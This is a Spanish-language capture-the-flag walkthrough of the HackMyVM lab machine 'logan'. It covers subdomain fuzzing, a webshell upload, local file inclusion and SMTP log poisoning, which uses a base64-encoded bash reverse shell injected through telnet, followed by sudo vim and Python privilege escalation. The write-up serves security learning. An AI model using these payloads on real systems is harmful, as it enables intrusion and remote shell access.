Hacemos el reconocimiento con nmap:
Si intentamos acceder al puerto 80, vemos que se está aplicando virtual hosting,
por lo que tenemos que añadir el logan.hmv al /etc/hosts:
Y ahora si nos funciona la web:
Hacemos fuzzing para ver si encontramos algún subdominio:
wfuzz -c --hc=404 -t 200 --hl=1 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.logan.hmv" -u 192.168.0.37
Y añadimos el nuevo subdominio al fichero hosts:
Y esto es lo que tenemos:
Vamos a subir una webshell dentro del apartado para subir archivos, por lo que usamos la de pentest monkey:
Una vez subido, tenemos que encontrar donde se guardó la webshell, por lo que haremos fuzzing, donde vemos el directorio payments:
Y nos encontramos con esto:
Y esto en el payments.php:
En este input vamos a hacer un ataque de intruder para ver el payload que tenemos que utilizar para explotar alguna vulnerabilidad:
Donde tenemos que meter el siguiente payload para explotar un LFI, por lo que usamos este diccionario:
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
Y ahora lo cargamos en burp suite:
/etc/passwd
Una vez que ya sabemos que tenemos un LFI, podemos intentar en hacer un log poisoning por el puerto 25, donde fácilmente podamos acceder al directorio /var/log/mail:
/var/log/mail.log
Por lo que vamos a hacer un log poisoning al puerto smtp, donde en esta web tenemos unas instrucciones:
Donde se nos dice cómo debemos inyectar un comando:
Por lo que buscamos el one liner de la reverse shell y lo codificamos en base64:
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg==
Y ahora con telnet nos conectamos y ejecutamos los siguientes comandos:
telnet 192.168.0.37 25
MAIL FROM:<mario@gmail.com>
RCPT TO:<?php exec("echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg== | base64 -d | bash"); ?>
Y ahora si recargamos la página principal inyectando nuevamente el payload para ver el fichero de logs del puerto 25, habremos obtenido una reverse shell:
Y vemos que si ejecutamos el comando sudo -l, podremos ejecutar comandos con vim como root: 14 - Escalada de Privilegios con VIM
Por tanto ejecutamos el siguiente comando:
sudo -u logan /usr/bin/vim hola.txt
Y ponemos lo siguiente:
Y ya somos el usuario logan:
Si volvemos a ejecutar el comando sudo -l, vemos que esta vez con el usuario logan podemos ejecutar un script:
Y lo que nos permite este script es ejecutar un one liner de algo de python, por ejemplo un print:
Lo que tenemos que hacer es importar la librería os de python y ejecutar algún comando, que puede ser lanzar una bash como root:
print(__import__('os').system('bash'))